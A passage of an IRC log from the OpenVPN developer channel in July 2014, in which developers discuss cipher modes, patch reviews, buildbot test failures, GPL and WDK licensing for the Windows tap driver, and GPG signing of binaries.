discovered arcane magic again... count_netmask_bits() in misc.c 12:57 <@plaisthos> cron2_: you used that functions 12:57 <@cron2_> nah, I invented my own because I didn't see that one 12:58 <@plaisthos> :) 12:58 <@cron2_> it's only used in the linux "ip" ipv4 code, ever, and I didn't do that :) 12:58 <@cron2_> someone with much better understanding for math did count_bits() 12:59 <@plaisthos> count_bits is really obscure 13:00 <@cron2_> syzzer: I bet you can look at it and understand it right away! 13:01 <@syzzer> cron2_: don't mistake me for a mathematician :p 13:01 <@plaisthos> it is quite easy actually, mask every second bit, shift it one to count bits 1 aparts 13:01 <@syzzer> but you did get me interested... 13:02 <@plaisthos> then shift two and repeat and again for 4 13:03 <@plaisthos> hm no I was wrong 13:03 <@plaisthos> lets look again :) 13:05 <@plaisthos> syzzer, cron2: start from the last line, that is number of bits in upper half + number bits in lower half; the line above does the same but with four parts and the line above that the same for 8 parts 13:10 * cron2_ still has no idea what the code does, but assumes clever bit-overflow stuff 13:10 <@plaisthos> cron2_: it is not that difficult :) 13:11 <@plaisthos> assume b1-b8. First line does b1 = b1+2 b3=b3+b4 b5=b5+b6 b7=b7+b8 13:12 <@plaisthos> second is then b1b2 = b1b2 + b3b4, b5b6 = b5b6+b7b8 13:12 <@plaisthos> and last line is b1234 = b1234 + b5678 13:14 <@syzzer> yep, pretty clever :) 13:14 <@syzzer> though I would it as b1b2 = b1+b1, b3b4 = b3 + b4, etc. 13:16 <@plaisthos> syzzer: yes you are almost correct (b1+b1 should b1+b2) 13:16 <@syzzer> plaisthos: ah, right... see, complicated stuff ;) 13:17 <@syzzer> back to less clever stuff, choosing an appropriate suffix for static-mode-only ciphers in --show-tls... 13:17 <@cron2_> hahaha :) 13:18 <@syzzer> I would love "--static mode only", except that --static is actually --secret, and that will probably just confuse people 13:18 <@cron2_> const int addrlen = sizeof (in_addr_t) * 8; 13:18 <@cron2_> for (i = 0; i <= addrlen; ++i) 13:19 <@cron2_> ohmy. Yeah, I agree that portable code is great, but I find it unlikely to ever see something else than 32 bits for an IPv4 address... 13:20 <@plaisthos> :) 13:21 <@plaisthos> perhaps there is a SUPER OBSCURE operating system using in_addr_t for both v4 and v6 13:23 <@vpnHelper> RSS Update - gitrepo: Make t_client.sh work on AIX. <https://github.com/OpenVPN/openvpn/commit/a637016ea3a6b49e3c792ca335f50eb32a182093> || implement adding/deleting routes on AIX, for IPv4 and IPv6 <https://github.com/OpenVPN/openvpn/commit/b4b92ae5dca218325dfbe16992922716ea83e261> || Add tap driver initialization and ifconfig for AIX. <https://github.com/OpenVPN/openvpn/commit/7e1e7b46701214f7886af6b408d6954a6621be46> || Recogni 13:32 * cron2_ orders a round of crypto basics ("what is CFB, OFB, ...") for the next hackathon 13:32 <@plaisthos> (: 13:32 <@plaisthos> we should all use ECB! *ducks* 13:33 <@syzzer> plaisthos: yes, duck deep! 13:33 <@plaisthos> cron2_: http://en.wikipedia.org/wiki/Cipher_block_chaining gives a good overview 13:33 <@vpnHelper> Title: Block cipher mode of operation - Wikipedia, the free encyclopedia (at en.wikipedia.org) 13:34 <@plaisthos> and also an image why ECB may not be the best choice 13:36 <@syzzer> cron2_: sure. I see plaisthos just volunteered to present it :D 13:37 <@cron2_> humm. So how do you decode CBC if a block is missing? Or is this just something that happens inside "one OpenVPN block"? 13:38 <@plaisthos> cron2_: each openvpn packet begins with a new iv 13:38 <@plaisthos> remember that for a 128 bit cipher each block is only 16byte 13:38 <@cron2_> ah *slaphead* 13:39 <@syzzer> also, since you use the previous cipher block (usually 128 bits) for the next one, missing one would destroy two block of data, but the other ones are fine 13:40 <@syzzer> so for stuff like voice or video, you could still use the other data 13:41 <@syzzer> (but in the openvpn case, since you authenticate data, you'll just drop the entire packet when something fails) 13:41 <@plaisthos> and then there is GCM mode which I not have looked at 13:42 <@cron2_> yeah, ECB is obviously daft 13:42 <@plaisthos> but on the first glance it looked much more complex than the traditional cipher modes 13:42 <@plaisthos> ECB is still for some things 13:42 <@syzzer> ECB is pefectly fine, as long as your input data is (exactly) 128 bits or your input data is perfectly random ;) 13:42 <@plaisthos> mainly for authentication related stuff 13:43 <@plaisthos> i give you a random 128 bit string and you encrypt it to show that you have the key 13:43 <@plaisthos> (something along these lines) 13:43 <@syzzer> exactly :) 13:44 <@cron2_> ack 13:44 <@syzzer> could be more than 128 bits too, because if the input data is perfectly random, there's so structure to detect in the encrypted blocks :) 13:44 <@cron2_> the pictures are nice 13:47 <@plaisthos> google android lints warns me about ECB: 13:47 <@plaisthos> GetInstance: Cipher.getInstance with ECB 13:47 <@plaisthos> ../../src/main/java/de/blinkt/openvpn/VpnProfile.java:894: ECB encryption mode should not be used 13:48 <@cron2_> syzzer: "TLS client/server mode" 13:48 <@cron2_> --secret can still have a --tcp-server and --tcp-client... 13:54 <@cron2_> can I have a new 3/4 + ACK tonight? Then I can do 1/4...4/4 in sequence before merging other stuff :) 13:54 <@syzzer> I'll redo 3/4 right away :) 13:57 <@plaisthos> cron2_: I am leaving now, but as long you are happy with the new stuff in () consider that still an ACK from me 13:57 <@cron2_> ACK :) 13:59 <@cron2_> remind me why we have --no-iv? 14:00 <@syzzer> probably "because we have" 14:00 <@syzzer> I'm all for removing it. 14:00 <@plaisthos> It is a stupid idea 14:01 <@syzzer> cron2_: so "(TLS client/server mode)" or "(TLS client/server mode only)"? I really don't know anymore... 14:01 <@cron2_> as far as I understand that stuff, yes, out it goes (but I'm sure James has customers somewher that uses it) 14:01 <@cron2_> syzzer: I'd go for "(TLS client/server mode)" 14:02 <@syzzer> that customer should thank us on his bare knees for fixing fix security then ;) 14:03 <@plaisthos> Hm what does openvpn use when no-iv is in use? 14:03 <@plaisthos> always 0? 14:03 <@cron2_> no IV 14:04 <@syzzer> so, yes, that boils down to always 0. 14:04 <@cron2_> it seems to be not added to the packet at all (and propably 0 for the crypto) 14:07 <@cron2_> wtf is ENABLE_BUFFER_LIST... 14:07 <@syzzer> I think we can remove the "TLS client/server mode"-restriction btw, by adding some random to the IV for CFB/OFB modes. But I didn't do that yet, because that actually needs someone with crypto background to approve it. Small steps, first fix, then improve. 14:08 <@cron2_> we need a long meeting with James, preferably with bavarian beverages :) 14:09 <@syzzer> yep, we do :) 14:10 <@syzzer> but I'd like to get this one into 2.4, and I think it would be nice if 2.4 could be released a bit sooner? Or am I overly optimistic now? 14:21 -!- dazo is now known as dazo_afk 14:27 <@syzzer> cron2_: I think the OFB/CFB stuff should go into release/2.3 too, those are bugfixes and small improvements that bug people 14:29 <@syzzer> oh, wait, Heiko's fix for CFB/OFB modes is not in release/2.3 either. 14:30 <@syzzer> but that actually fixes a long-running bug (#89) 14:31 <@syzzer> hmm, maybe just master is fine... 14:40 <@syzzer> plaisthos: just looking at your patches from today. 3/4 actually reverts a change you made in 1/4. 14:40 <@plaisthos> syzzer: urgh?! 14:40 <@syzzer> time for some "git rebase -i", exploiting the nice "fixup" operator? ;) 14:43 <@plaisthos> oh yes 14:43 <@plaisthos> my fault 14:54 <@cron2_> syzzer: if you send me a list of committish from master I'll cherry-pick them over 14:55 <@cron2_> plaisthos' patches actually has this nasty itch in them... 14:58 <@cron2_> syzzer: uh, your 3/4 v2 has the same text again...? 14:58 <@cron2_> ah 14:58 <@cron2_> *there* 14:59 <@cron2_> I thought you were talking about the help text. OK, good, ack, in it goes 15:02 <@cron2_> as far as 2.4 release is concerned: I'm not so sure anymore what we want to have in there. The initial plan was interactive service, ipv6-payload-over-ipv6-transport collision fixing (recursive routing), plus bugfixes, plus whatever crypto stuff needs to go in 15:02 <@cron2_> interactive service would be really cool to have, and the ipv6 fixes are needed by a few early birds already (falling back to ipv4 transport now) 15:03 <@cron2_> a new major release is heavy lifting, so stuff that misses 2.4 would be delayed at least 2 more years 15:09 <@syzzer> cron2_: that's be46a2c083a6bd77754bc1674249eab583d25dac, and the four patches from me you just committed 15:10 <@syzzer> cherry pick cleanly onto release/2.3 here. 15:11 <@cron2_> syzzer: could you send that to the mailing list, please (so it's clear why I'm all of a sudden cherrypicking something that got committed a few weeks ago) 15:11 <@syzzer> sure. 15:12 * cron2_ wonders why there are no OFB/CFB ciphers in "--show-cipher" 15:12 <@syzzer> that's fixed by 1/4 ;) 15:12 <@cron2_> applied all, built master 15:12 <@cron2_> but seems I didn't do autoreconf -vi 15:12 <@syzzer> there you go :) 15:12 <@cron2_> *rebuild 15:13 <@cron2_> --show-cipher is not influenced by --cipher setting, right? (I think you did that for --tls-cipher only) 15:15 <@cron2_> one day I'll rip out all the totally useless checks in our configure, like "time()". 15:15 <@cron2_> and "memset()" and "strdup()" 15:15 <@plaisthos> narf 15:16 <@cron2_> neither will OpenVPN run on any platform that doesn't have it, nor are we prepared to do anything about it if it's missing 15:16 <@plaisthos> somehow git does aks me anymore what ref-id I want to use :/ 15:16 <@syzzer> cron2_: correct. --cipher just lets you pick one from the --show-ciphers list, while --tls-cipher lets you choose multiple (or even groups, using funny modifiers like +, 0 and ! in case of OpenSSL) 15:16 <@plaisthos> cron2_: the error message from configure is nicer than from compile failure or stuff 15:17 <@cron2_> plaisthos: but it's wasting myriards of CPU hours on fully useless tests, really 15:17 <@cron2_> what's the benefit of testing for "time()"? 15:17 <@cron2_> for many systems, especially on multi-core machines, "configure" takes way longer than "make -j4" these days 15:19 <@cron2_> SEED-CFB 128 bit default key (fixed) (TLS client/server mode) 15:19 <@cron2_> there we go \o/ 15:20 <@syzzer> haha, plaisthos, you merged 3/4 into 2/4, instead of 1/4 :p 15:20 <@plaisthos> cron2_: ack 15:20 * cron2_ shows syzzer "openvpn --show-ciphers | sed -e '1,/^$/d' 15:20 <@plaisthos> syzzer: arghs! 15:21 <@plaisthos> It is too late for me today 15:21 <@cron2_> plaisthos: I'm not going to mere anything from you tonight :-) - you need coffee or sleep 15:21 <@cron2_> (and I go to bed anyway, I need sleep) 15:21 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 15:23 <@syzzer> cron2_: ah, that's better than my ugly head -n+7, I need to work on my sed/regex-fu. 15:23 <@vpnHelper> RSS Update - gitrepo: Extend t_lpback tests to test all ciphers reported by --show-ciphers <https://github.com/OpenVPN/openvpn/commit/b2bff9fa15695f2850999688b0ca6047016fd7f5> || Improve --show-ciphers to show if a cipher can be used in static key mode <https://github.com/OpenVPN/openvpn/commit/d344820faeae987f52e574e15812c86aa5c59ae6> || Add proper check for crypto modes (CBC or OFB/CFB) <https://github.com/OpenVPN/openvpn/commit/a 15:23 <@cron2_> sed has another nice thing: you can pass multiple sed commands in one go ("sed -e $one -e $two -e $three") 15:24 <@syzzer> ah, nice 15:24 <@cron2_> I used to be a shell nerd, before I discovered perl :) 15:31 <@cron2_> ecrist: time to bump the openvpn-devel port again :) 15:36 <@vpnHelper> RSS Update - gitrepo: Don't issue warning for 'translate to self' tls-ciphers <https://github.com/OpenVPN/openvpn/commit/29ed605c2a91e85bc9905cf2968e900cb3969095> 15:51 <@syzzer> cron2_: should I fix t_lpback.sh then? Or will you and I'll ACK? Or will we just leave it like this because 15:51 <@syzzer> 'it works' 15:54 <@vpnHelper> RSS Update - tickets: #423: /etc/init.d/openvpn relies on current directory in $PATH <https://community.openvpn.net/openvpn/ticket/423> 20:47 <@ecrist> cron2_: I'll get to it tomorrow. 20:48 <@ecrist> actually, it'll be after Sunday - that's when I roll tarballs 21:05 <@ecrist> perl > shell 21:05 <@ecrist> especially when it comes to text processing --- Day changed Tue Jul 08 2014 00:21 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Read error: Connection reset by peer] 00:22 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 00:22 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 01:20 <@vpnHelper> RSS Update - tickets: #424: Add tap emulation to the iOS and Android clients <https://community.openvpn.net/openvpn/ticket/424> 02:05 <@cron2_> syzzer: we'll just leave it like it is, unless it breaks one of the buildbots. In that case, I'll post a patch 02:05 <@cron2_> ecrist: thanks 02:18 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 272 seconds] 02:30 <@cron2_> grrr, the buildbots are flooding me with mail for "mattock's DNS environment is funny" 02:30 <@cron2_> fatal: Unable to look up git.code.sf.net (port 9418) (Name or service not known) 02:31 <@cron2_> syzzer: we do have an interesting build/test failure, though 02:31 <@cron2_> Testing cipher DES-CFB1... FAILED 02:31 <@syzzer> ah, CFB1, that's an OpenSSL bug 02:31 <@cron2_> should we be testing that one, then? ;-) 02:32 <@syzzer> I thought I had filtered out all the CFB1 ciphers... 02:32 <@cron2_> actually 02:32 <@cron2_> Testing cipher DES-CFB... OK 02:32 <@cron2_> ah, CFB1 only 02:32 <@syzzer> yeah, CFB1 != CFB 02:32 <@cron2_> I think you're filtering 3DES-CFB1 02:33 <@cron2_> DES-EDE3-CFB1 02:33 <@syzzer> hmm, probably because my own OpenSSL doesn't do DES-CFB1 then 02:34 <@cron2_> on OpenSolaris, we have... 02:34 <@cron2_> usage: tail [+/-[n][lbc][f]] [file] tail [+/-[n][l][r|f]] [file] 02:34 <@syzzer> okay, so it's time to fix the test script with your shell-fu anyway ;) 02:34 <@cron2_> yup 02:35 <@cron2_> NetBSD 5.1 fails with 02:35 <@cron2_> Testing cipher RC5-CBC... FAILED 02:35 <@cron2_> RC5 is a patented algorithm; link against libcrypto_rc5.a. Aborting... 02:35 <@cron2_> ARGH 02:35 <@cron2_> Testing cipher RC5-CFB... FAILED 02:35 <@cron2_> RC5 is a patented algorithm; link against libcrypto_rc5.a. Aborting... 02:35 <@syzzer> gaaaah 02:36 <@syzzer> so why do they let their OpenSSL report it as available then :/ 02:36 <@syzzer> oh, nvm, OpenSSL doesn't report anything, we use an ugly hack to find the supported ciphers... 02:43 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 02:43 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 03:38 <@cron2_> plaisthos: trac 424 actually has a link to a tap emulator :-) - (the link itself is only the, uh, "tap emu", but it seems to be part of a patched openvpn version that makes use of this) 03:39 <@cron2_> I'm not particularily keen to review and merge and maintain it, but I find it interesting that it's there 03:42 <@plaisthos> cron2_: Yeah I know 03:42 <@plaisthos> I haven't looked at it yet 03:45 <@plaisthos> Hm 03:46 <@plaisthos> I don't really like the coding style 03:46 <@plaisthos> and I am not sure if it is endian safe 03:46 <@plaisthos> ther is no hton or ntoh anywhere 03:47 <@plaisthos> and stuff is always by directly accesing bytes instead of using structs to interpret network data 03:47 <@cron2_> haven't looked *that* closely. But it might just not matter, if addresses are copied "as is" back and forth 03:47 <@plaisthos> and I haven't found any length check 03:47 <@cron2_> no length check is not good 03:48 <@plaisthos> granted ethernet mandates a minimum size but I don't see a malicious server needs to do that 03:50 <@plaisthos> cd it is obviously ipv4 only ;) 03:53 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 03:54 <@plaisthos> I would honestely sit down a day and rewrite that stuff from scratch then maintain it 03:57 <@cron2_> bah, ipv4-only code 03:58 -!- dgollub [~dgollub@pd95cdee4.dip0.t-ipconnect.de] has joined #openvpn-devel 04:03 <@plaisthos> and in pf.c is there already code to parse ip addresses from ethernet frames iirc 04:14 <@plaisthos> argh 04:14 <@plaisthos> wrong argument to send-email 04:29 < dgollub> hi, I have some question with regards to tap-windows license and the linking to WDK/DDK? I wonder if it would make sense to have an exclusion clause as openvpn-daemon has for openssl, that it is ok to link openvpn(GPLv2) against OpenSSL which is not-GPL licensed. Or how do you handle the GPLv2<->WDK/DDK-license thingy? 04:30 < dgollub> something like: tap-windows is GPLv2, but it is ok to linking against WDK/DDK which is covered by the WDK/DDK EULA. 04:31 * cron2_ has no idea what license tap-windows has, and what license the new driver has 04:32 < dgollub> afaik both GPLv2 04:35 < dgollub> https://github.com/OpenVPN/tap-windows6/blob/master/COPYING 04:35 <@vpnHelper> Title: tap-windows6/COPYING at master · OpenVPN/tap-windows6 · GitHub (at github.com) 04:35 < dgollub> https://github.com/OpenVPN/tap-windows/blob/master/COPYING 04:35 <@vpnHelper> Title: tap-windows/COPYING at master · OpenVPN/tap-windows · GitHub (at github.com) 04:36 <@cron2_> seems linking that to DDK/WDK is not a problem then? 04:36 < dgollub> they are linking against static libraries in the WDK/DDK which are not licensed under GPL 04:37 < dgollub> which is the same thing as linking openvpn daemon statically against OpenSSL (which is not GPL either) 04:39 < dgollub> or do I miss something here? 04:39 < dgollub> I would be happy if someone could proof me wrong here :) 04:42 -!- dazo_afk is now known as dazo 04:48 <@dazo> dgollub: None of us here are lawyers ... and I don't think anyone here are too much concerned about the licensing in regards to the linking. I believe we're far more pragmatic. The source code of the tap-driver is GPL, and that is the important piece to have open. The linking against DDK/WDK is needed to actually be able to build something useful for Windows environments. And to our knowledge, to pass through the different Windows 04:48 <@dazo> mechanisms for drivers, there are no real F/OSS alternatives (I'm not a Windows developer, but I'm sure James and others would have considered alternatives if there were any) 04:48 < dgollub> I checked other projects - they all treat that differently: Xen PV Windows Guest driver changed from GPL to BSD license due to WHQL / windows logo program / windows hardware certificate process: http://lists.xen.org/archives/html/xen-users/2013-12/msg00039.html (they changed it to BSD last month). KVM/SPICE projects have a special WDK addition: https://github.com/YanVugenfirer/kvm-guest-drivers-windows/blob/master/LICENSE ... 04:48 <@vpnHelper> Title: Xen project Mailing List (at lists.xen.org) 04:49 < dgollub> dazo: ok cool. I am not a lawyer either :) ... but my legal advisors see an potential distribution issue which is holding me off making use of the tap-windows one 04:50 < dgollub> I would also recommend to stick with WDK/DDK - there are other trying to use mingw to complete avoid the windows WDK static library stubs. But I guess this is a burden to maintain. 04:51 <@dazo> aha ... well legal advisors just try to protect their own back, so you won't sue them because you got in trouble due to their advise 04:51 < dgollub> I could imagine a pragmatic solution could be to have in the tap-windows driver license an addition/remark/statement as OpenVPN-daemon has for OpenSSL. 04:51 < dgollub> dazo: yeah - I think so too :) 04:51 <@dazo> yupp ... agreed 04:52 < dgollub> do you think it is worth to drive in that direction and add such a statement for tap-windows - as the one for OpenSSL? 04:52 < dgollub> http://openvpn.net/index.php/license.html -> Special exception for linking OpenVPN with OpenSSL: 04:52 <@vpnHelper> Title: OpenVPN License (at openvpn.net) 04:53 <@dazo> I think the clause added to the KVM/SPICE is reasonable .... and that has most likely gone through Richard Fontana (Red Hat's licensing guru - and he is a legal advisor) 04:53 <@dazo> that clause also covers just WDK, which is what we should do as well, as it is WDK being the issue 04:54 <@dazo> I don't want to touch the Access Server license ... as AS isn't truly open source (the front-end bits, that is) 04:54 < dgollub> my legal folks were not happy with that reference ... they interpreted that this is only in the scope of the source code. not binary distribution 04:55 < dgollub> I agree. I just usted that AS openssl statement as reference. I would be happy if just the tap-windows and tap-windows6 license would hold that. I see no need to have this in AS license 04:57 <@dazo> I honestly struggle to see the objections from your legal advisors .... But I understand "Code" as binary and/or source. Because the first line starts with "With respect to binaries" 04:58 <@dazo> It basically says that the driver is GPLv2, and WDK has it's own license, by using or distributing this binary you also must comply to WDK's license - which is a different license 04:58 < dgollub> honestly, I struggle with their judgment on that as well. I follow up with them on that 04:58 <@dazo> For legal wording, that's one of the more easy clauses I've read :) 04:59 < dgollub> right. I could imagine that the other way round is not covered for them ... I guess they thing it still violates against the GPL if the owner/author is not granting linking against WDK. 05:00 < dgollub> the kvm/spice statement is just pointing out that the user is also agreeing with the WDK license - since this includes also WDK code - if build. 05:01 <@dazo> But if we add that clause to the tap driver. The author (OpenVPN Tech) of implicitly allows it. And it is a requirement to even be able to build it, so this shouldn't be an issue for openvpn tech. 05:01 < dgollub> What they are missing is that the author of tap-windows is granting linking of non-GPL to GPL code. 05:01 < dgollub> Right - I do not see an issue for openvpn tech. 05:03 <@dazo> I can see that without this clause (from KVM/SPICE), that the GPL isn't clear at all. But with that clause, for me it covers also the aspect of granting rights to link against the GPL code 05:03 < dgollub> But I guess the legal people from other companies hesitate that they violate against the license/terms of GPL code. Due to missing explicit statement that linking against WDK is allowed 05:03 <@dazo> if you comply with GPL + WDK ... then you're fine, that's how I understand it 05:04 < dgollub> let me check again the mail from the legal folks what was their argument on that ... 05:05 <@dazo> "Due to missing explicit statement that linking against WDK is allowed to qualify for the special exception stated in section 3 of GPLv2 (commonly known as the system library exception)" ... that covers that aspect. In fact, it covers all system libraries, which may or may not be GPL (in the windows world, it never is) ... but you can't use any software without using system libraries 05:05 <@dazo> and this sentence considers WDK as a system library 05:06 <@dazo> wow ... my copy-paste failed here 05:06 <@dazo> "All WDK Code is considered by the GPLv2 licensors to qualify for the special exception stated in section 3 of GPLv2 (commonly known as the system library exception)." 05:07 < dgollub> puuuh ... I already though I looked at a different license text :) 05:07 <@dazo> This should cover the linking aspect. In fact, it covers all system libraries, which may or may not be GPL (in the windows world, it never is) ... but you can't use any software without using system libraries and this sentence considers WDK as a system library 05:08 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Quit: Gray is a color; grey is a colour.] 05:08 < dgollub> ok - reviewed that statement from legal - one more time. I guess they would be indeed happy if you put the statement as it is in KVM/SPICE into your license file. They are just missing that you consider WDK as system library. 05:09 <@plaisthos> hm do we have any idea how many people contributed to the windows tap driver? 05:09 <@dazo> plaisthos: nope ... but I don't think it's that many, tbh ... mostly James, the guy who was hired for the tap6 and cron2_ 05:11 <@dazo> James Yonan (7) 05:11 <@dazo> Samuli Seppänen (4) 05:11 <@dazo> TDivine (96) 05:11 <@dazo> jamesyonan (1) 05:11 <@dazo> plaisthos: ^^^ 05:12 < dgollub> those are the one for tap6? or tap? 05:13 <@dazo> that's for tap6 05:13 * dgollub goes out for lunch. Will be back in a bit 05:13 <@plaisthos> but tap6 is based on tap5 iirc 05:13 < dgollub> Thanks so far! 05:13 <@dazo> for the old tap driver, that's going to be messy to figure out, as it was forked out of the core openvpn git tree 05:13 < dgollub> very very appreciated your discussion! 05:18 <@dazo> plaisthos: at a quick glance at the tapdrvr.c file (the core driver), it's James, cron2 and Alon ... but Alon is pure splitting out to separate tree and building stuff (which is not carried on, afaik) 05:31 <@cron2_> I wonder what the fuzz is all about, tbh. Of course you can link a GPLed program to a non-GPLed library...? And if you distribute binaries, you need to distribute source anyway? 05:34 <@dazo> cron2_: I agree ... but legal advisors gets paid by the hour the manage to argue 05:37 <@dazo> And quite some have raised concerns about linking against non-gpl software. Does that make the software you compile non-gpl? As to function, it depends on non-foss code to function ... which is why GPLv2 has a clause about linking against system libraries (which takes a pragmatic approach) 05:41 <@dazo> The issues comes more clearly when it comes to distribution of that binary. Can it include the non-gpl'd bits without breaking gpl? Since gpl requires that you provide the source code of the distributed binary code upon request 05:41 <@dazo> which is why you need a clarification 05:46 <@cron2_> linking some non-gpl bits statically and then shipping the result is more interesting regarding license violation of those *other* bits :-) 05:52 <@dazo> :) 06:01 < dgollub> the WDK libraries used for the tap driver build are only static linkable right? there are only static libraries provided by the WDK ... isn't it? 06:02 < dgollub> so we run into the described situation: "linking some non-gpl bits statically and then shipping the result" 06:38 <@plaisthos> so if its only these few authors it shouldn't be a problem just to ask them and put the "we allow linking with wdk sdk, duh" in the license and be done with it? 06:39 < dgollub> this would be only for tap6 then - right? No plans to do this for tap ndis5 one - to messy with too many different authors? 06:41 <@plaisthos> dgollub: it is the same 06:42 <@plaisthos> tap6 is based on ndis5 06:42 < dgollub> aaa.. yeah you are right 06:43 < dgollub> do you want to me to start a thread on on the -devel mailinglist to collect the agreement of the other authors? Or create a trac ticket? 06:45 <@plaisthos> I think first step is to identify the authors 06:45 <@plaisthos> If it is only like dazo, cron2_ and OpenVPN corp people it should be easy 06:53 < dgollub> git shortlog -s in the tap-windows git repo result in 41 authors (added one entry to .mailmap for Samuli) 06:55 <@plaisthos> 41? that is a lot 06:55 < dgollub> majority has 1 commit only 06:56 <@plaisthos> looking at the commits may also sort out some false positives 06:57 < dgollub> ok .. 41 authors since the tap-windows history holds openvpn history 06:58 <@dazo> dgollub: for f in src/*.[ch]; do git log --pretty=format:"%aN" --abbrev-commit --date=short --follow $f ; echo ; done | sort | uniq -c 06:58 <@dazo> 49 Alon Bar-Lev 06:58 <@dazo> 1 David Sommerseth 06:58 <@dazo> 4 Gert Doering 06:58 <@dazo> 191 James Yonan 06:59 < dgollub> does it follow the old location of the tap- driver? 06:59 <@dazo> And Alon's changes are purely related to splitting openvpn and tap-windows + build related 06:59 < dgollub> aah --follow is your frined 06:59 <@dazo> right 07:01 <@plaisthos> 4 vs 41 :) 07:01 <@dazo> :) 07:01 < dgollub> ok ... that is hopefully easier to handle then 07:02 <@dazo> And since Alon's stuff isn't used in the tap6 driver (afaik, I might be wrong), it shouldn't be a problem .... unless this David guy gets grumpy :-P 07:02 <@cron2_> Alon didn't actually contribute code, cron2 is fine with the change, dazo didn't contribute code either (IIRC) :-) 07:02 <@cron2_> so basically it's "check with OpenVPN tech". Mattock would be the one to talk to, as soon as he reappears 07:02 <@dazo> correct :) 07:02 < dgollub> cool 07:02 <@cron2_> dazo: what *is* this commit of yours? 07:02 <@dazo> cron2_: I don't remember :-P 07:02 <@cron2_> dazo: ask git :) 07:03 < dgollub> David Sommerseth (1): 07:03 < dgollub> Fix DHCP NAK bombs on Windows 7 07:03 <@plaisthos> actually commited code ;) 07:03 <@cron2_> woot, I thought I did that 07:03 <@cron2_> but maybe I chased it and dazo did the actual patch and commit or so 07:04 <@dazo> Who would have imagined that ... I don't remember this patch at all 07:04 <@dazo> 2 years ago 07:04 <@cron2_> that was a missing break in a switch statement 07:04 <@plaisthos> are we sure there is no code commit from alon? 07:04 <@dazo> right ... I think this patch was based on some hunches from JJK 07:06 <@cron2_> dazo: actually jjk ran into this, and verified tha it fixes the code, but I think someone else tracked it down to "small packets get lost" 07:08 <@dazo> cron2_: July 19th 2012 is a Thursday ... I probably hacked that patch together while discussion it in one of our meetings here :-P 07:09 * plaisthos just read a bit about licenses 07:09 <@plaisthos> I found out my own project is acutally GPLv3 since it has GPLv2+Apache code bits and GPLv2 is only compatible with Apache in its or later (GPLv3) form 07:10 * ecrist despises GPLv3 07:10 <@ecrist> it's like a bad infection 07:10 <@plaisthos> yeah 07:10 <@plaisthos> I am not really with it either. 07:11 <@plaisthos> may I should add a you may link it with apache v2 excemption clause :D 07:14 <@dazo> heh 07:15 <@plaisthos> proably a lot other gpl android have the problem if they have taken sample source code from android sdk 07:55 <@vpnHelper> RSS Update - tickets: #425: Topology subnet doesn't work on FreeBSD 10.0 <https://community.openvpn.net/openvpn/ticket/425> 08:02 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has joined #openvpn-devel 08:07 < SviMik> hi! 08:08 < SviMik> somebody has made a custom openvpn package for incloak.com in 11/2013, but I can't remember who exactly :) 08:09 < SviMik> probably pekster or mattock 08:09 <@ecrist> I doubt either of those did 08:12 <@cron2_> ecrist: have you used openvpn on freebsd 10? 08:13 <@cron2_> 425 claims it doesn't work in "topology subnet" mode 08:14 < SviMik> ecrist you were wrong. here it is http://pekster.sdf.org/ovpn/dist/ 08:14 <@vpnHelper> Title: Index of /ovpn/dist (at pekster.sdf.org) 08:15 < SviMik> anyway. the question is: he signed it somehow... and I'm also looking for the way to sign our software 08:16 < SviMik> [03:54:59] <pekster> I don't pay for an MS-Authenticode cert, but those are GPG-signed with my key I use on the public ML too. 08:17 < SviMik> I'm totally confused. did he used self-signed cert? 08:17 < SviMik> pekster, are you here? :) 08:19 < dgollub> http://en.wikipedia.org/wiki/GNU_Privacy_Guard 08:19 <@vpnHelper> Title: GNU Privacy Guard - Wikipedia, the free encyclopedia (at en.wikipedia.org) 08:19 <@ecrist> cron2_: all the freakin' time 08:19 <@ecrist> and it works just fine 08:20 <@cron2_> ecrist: could you comment this in the ticket? thanks :-9 08:20 <@ecrist> our entire company network is comprised of freebsd 10 hosts and openvpn 08:20 * cron2_ has no freebsd 10 buildslave yet 08:20 <@ecrist> SviMik: I said I doubted it, that doesn't make me wrong. 08:20 -!- SviMik was kicked from #openvpn-devel by ecrist [now you are wrong. :P] 08:20 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has joined #openvpn-devel 08:20 < SviMik> 1:1 :) 08:21 <@ecrist> cron2_: i can upgrade phillip 08:21 <@cron2_> nah 08:21 <@cron2_> "it works!" :) 08:22 <@cron2_> I have spare capacity on the VM host, I just need to install it and make it a buildslave (but I want that anyway) 08:24 < SviMik> I found some sellers like ksoftware and digicert, but failed to buy a cert there - both require a company registered at www.dnb.com... fail 08:24 <@ecrist> cron2_: which ticket? 08:24 < SviMik> how official ovpn is signed? 08:24 <@cron2_> 425 08:24 <@ecrist> ah 08:26 <@plaisthos> SviMik: that seems not like a specific package for incloak.com 08:27 <@plaisthos> SviMik: OpenVPN coperate has bought a certificate 08:28 * ecrist closed 425 08:28 <@cron2_> heh :-) - I was actually interested to see the log from the user that claimed it doesn't work 08:29 < SviMik> plaisthos yes, he just added some tweaks for us, but didn't any branding, so I can't say it is a "specific package" 08:29 <@ecrist> your response is 100% correct, cron2_ 08:29 <@ecrist> if he wants broadcast, he needs to be using the tap adapter, not tun 08:29 <@ecrist> and that's going to bring all the hurt that comes with l2 08:33 <@plaisthos> I added my initial reservation against the tap emu code to #424 08:41 < SviMik> dgollub neither the wiki or google doesn't explain how to use it to sign an executable... 08:42 < dgollub> SviMik: https://www.gnupg.org/gph/en/manual/x135.html 08:42 <@vpnHelper> Title: Making and verifying signatures (at www.gnupg.org) 08:45 < SviMik> dgollub I'm still confused. Can it integrate the signature to a windows executable and keep the executable working without need to recover it from a container? 08:46 < SviMik> or GPG isn't made for that? 08:46 < dgollub> GPG is not touching the original file. 08:49 <@pekster> SviMik: GPG allows you to verify the authenticity of the file from the signer. It's a decentralized model, but I sign such things with the same key I use on the mailing lists, and I have 